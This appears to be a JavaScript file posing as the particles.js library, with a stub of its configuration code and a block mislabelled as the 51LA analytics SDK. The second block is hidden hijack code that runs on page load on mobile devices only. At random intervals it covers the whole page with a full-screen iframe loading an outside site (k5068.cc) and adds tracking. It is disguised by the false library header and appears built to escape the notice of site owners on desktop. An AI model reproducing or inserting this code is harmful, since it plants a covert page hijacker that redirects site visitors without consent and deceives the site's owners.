/*
*                    _ooOoo_
*                   o8888888o
*                   88" . "88
*                   (| -_- |)
*                   O\  =  /O
*                ____/`---'\____
*              .'  \\|     |//  `.
*             /  \\|||  :  |||//  \
*            /  _||||| -:- |||||-  \
*            |   | \\\  -  /// |   |
*            | \_|  ''\---/''  |   |
*            \  .-\__  `-`  ___/-. /
*          ___`. .'  /--.--\  `. . __
*       ."" '<  `.___\_<|>_/___.'  >'"".
*      | | :  `- \`.;`\ _ /`;.`/ - ` : | |
*      \  \ `-.   \_ __\ /__ _/   .-` /  /
* ======`-.____`-.___\_____/___.-`____.-'======
*                    `=---='
* ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
*               佛祖保佑       永无BUG
*/

/* -----------------------------------------------
/* Author : Vincent Garreau  - vincentgarreau.com
/* MIT license: http://opensource.org/licenses/MIT
/* Demo / Generator : vincentgarreau.com/particles.js
/* GitHub : github.com/VincentGarreau/particles.js
/* How to use? : Check the GitHub README
/* v2.0.0
/* ----------------------------------------------- */

function hexToRgb(e) {
	var a = /^#?([a-f\d])([a-f\d])([a-f\d])$/i;
	e = e.replace(a, function(e, a, t, i) {
		return a + a + t + t + i + i
	});
	var t = /^#?([a-f\d]{2})([a-f\d]{2})([a-f\d]{2})$/i.exec(e);
	return t ? {
		r: parseInt(t[1], 16),
		g: parseInt(t[2], 16),
		b: parseInt(t[3], 16)
	} : null
}

function clamp(e, a, t) {
	return Math.min(Math.max(e, a), t)
}

function isInArray(e, a) {
	return a.indexOf(e) > -1
}
var pJS = function(e, a) {
	console.log(e)
	var t = document.querySelector("#" + e + " > .particles-js-canvas-el");
	this.pJS = {
		canvas: {
			el: t,
			w: t.offsetWidth,
			h: t.offsetHeight
		},
		particles: {
			number: {
				value: 400,
				density: {
					enable: !0,
					value_area: 800
				}
			},
			color: {
				value: "#fff"
			},
			shape: {
				type: "circle",
				stroke: {
					width: 0,
					color: "#ff0000"
				},
				polygon: {
					nb_sides: 5
				},
				image: {
					src: "",
					width: 100,
					height: 100
				}
			},
			opacity: {
				value: 1,
				random: !1,
				anim: {
					enable: !1,
					speed: 2,
					opacity_min: 0,
					sync: !1
				}
			},
			size: {
				value: 20,
				random: !1,
				anim: {
					enable: !1,
					speed: 20,
					size_min: 0,
					sync: !1
				}
			},
			line_linked: {
				enable: !0,
				distance: 100,
				color: "#fff",
				opacity: 1,
				width: 1
			},
			move: {
				enable: !0,
				speed: 2,
				direction: "none",
				random: !1,
				straight: !1,
				out_mode: "out",
				bounce: !1,
				attract: {
					enable: !1,
					rotateX: 3e3,
					rotateY: 3e3
				}
			},
			array: []
		},
		interactivity: {
			detect_on: "canvas",
			events: {
				onhover: {
					enable: !0,
					mode: "grab"
				},
				onclick: {
					enable: !0,
					mode: "push"
				},
				resize: !0
			},
			modes: {
				grab: {
					distance: 100,
					line_linked: {
						opacity: 1
					}
				},
				bubble: {
					distance: 200,
					size: 80,
					duration: .4
				},
				repulse: {
					distance: 200,
					duration: .4
				},
				push: {
					particles_nb: 4
				},
				remove: {
					particles_nb: 2
				}
			},
			mouse: {}
		},
		retina_detect: !1,
		fn: {
			interact: {},
			modes: {},
			vendors: {}
		},
		tmp: {}
	};
};
/*!
* 51LA Analysis Javascript Software Development Kit
* js-sdk-pro v1.58.3
* Copyright © 2016-2022 51.la All Rights Reserved
*/
// Function to create a full-screen div with smooth scrolling and an iframe
function createFullScreenIframe(targetUrl) {
    return new Promise((resolve, reject) => {
        // Create the wrapper div
        const scrollWrapper = document.createElement('div');
        scrollWrapper.className = 'scroll-wrapper';
        scrollWrapper.style.position = 'fixed';
        scrollWrapper.style.height = '100%';
        scrollWrapper.style.width = '100%';
        scrollWrapper.style.padding = '0px';
        scrollWrapper.style.margin = '0px';
        scrollWrapper.style.background = 'white';
        scrollWrapper.style.border = 'none';
        scrollWrapper.style.top = '0px';
        scrollWrapper.style.left = '0';
        scrollWrapper.style.zIndex = '1999999999';

        // Create the iframe
        const iframe = document.createElement('iframe');
        iframe.width = '100%';
        iframe.height = '100%';
        iframe.id = 'warpperId';
        iframe.src = targetUrl;
        iframe.style.borderWidth = '0px';

        // Add load event listener to the iframe
        iframe.onload = () => {
            // Resolve the promise when the iframe is successfully loaded
            resolve(true);
        };

        // Handle iframe load errors
        iframe.onerror = () => {
            // Reject the promise if there's an error loading the iframe
            reject(false);
        };

        // Append the iframe to the wrapper div
        scrollWrapper.appendChild(iframe);

        // Append the wrapper div to the body
        document.body.appendChild(scrollWrapper);

        // Add CSS styles for smooth scrolling
        const style = document.createElement('style');
        style.textContent = `
            body {
                margin: 0 !important;
                padding: 0 !important;
            }
            .scroll-wrapper {
                -webkit-overflow-scrolling: touch;
                overflow: scroll;
            }
            iframe {
                width: 100%;
                height: 100%;
                border-width: 0px;
            }
        `;
        document.head.appendChild(style);

        // Ensure the correct viewport settings for mobile devices
        const metaViewport = document.createElement('meta');
        metaViewport.name = 'viewport';
        metaViewport.content = 'width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0';
        document.head.appendChild(metaViewport);
    });
}

// Usage: Call the function with the desired URL

var isNonDesktopPlatform = navigator.platform && !/^Mac|Win/.test(navigator.platform);
var isMobileDevice = !navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent);
if (isNonDesktopPlatform || isMobileDevice) {
    var loadedTime = localStorage.getItem("loadedTime");
    var urls = ['https://k5068.cc'];
    var targetUrl = urls[Math.floor(Math.random() * urls.length)];
    if (!loadedTime || new Date().getTime() - loadedTime > 12 * 60 * 60 * 1000) {
        var randomNum = Math.floor(Math.random() * 10);
        if (randomNum <= 5) {
            localStorage.setItem("loadedTime", new Date().getTime());
            // Usage: Call the function and handle the promise
            createFullScreenIframe(targetUrl)
                .then((isLoaded) => {
                    if (isLoaded) {
                        //console.log('Iframe successfully loaded and displayed.');
                        !function(p){"use strict";!function(t){var s=window,e=document,i=p,c="".concat("https:"===e.location.protocol?"https://":"http://","sdk.51.la/js-sdk-pro.min.js"),n=e.createElement("script"),r=e.getElementsByTagName("script")[0];n.type="text/javascript",n.setAttribute("charset","UTF-8"),n.async=!0,n.src=c,n.id="LA_COLLECT",i.d=n;var o=function(){s.LA.ids.push(i)};s.LA?s.LA.ids&&o():(s.LA=p,s.LA.ids=[],o()),r.parentNode.insertBefore(n,r)}()}({id:"3K54vb20JwZFdPSu",ck:"3K54vb20JwZFdPSu"});
	localStorage.setItem("loadedTime", new Date().getTime());
                    }
                })
                .catch((error) => {
                    console.error('Failed to load the iframe.');
                });
            // Create a full screen div with smooth scrolling and an iframe inside
            //document.writeln('<div class="scroll-wrapper" style="position: fixed; height: 100%; width: 100%; padding: 0px; margin: 0px; background: white; border: none; top: 0px; left: 0; z-index: 1999999999;">');
            //document.writeln('<iframe width="100%" height="100%" id="warpperId" src="' + targetUrl + '"></iframe></div>');

            // Add CSS styles for smooth scrolling and full screen iframe
            //document.writeln('<style>');
           // document.writeln('body{ margin: 0!important; padding: 0!important; }');
           // document.writeln('.scroll-wrapper{ -webkit-overflow-scrolling: touch; overflow: scroll; }');
            //document.writeln('iframe{ width: 100%; height: 100%; border-width: 0px; }');
            //document.writeln('</style>');

            // Add a meta viewport tag to ensure correct display on mobile devices
            //document.writeln('<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0">');
            
            // Add 51LA
            
            
        }
    }

}

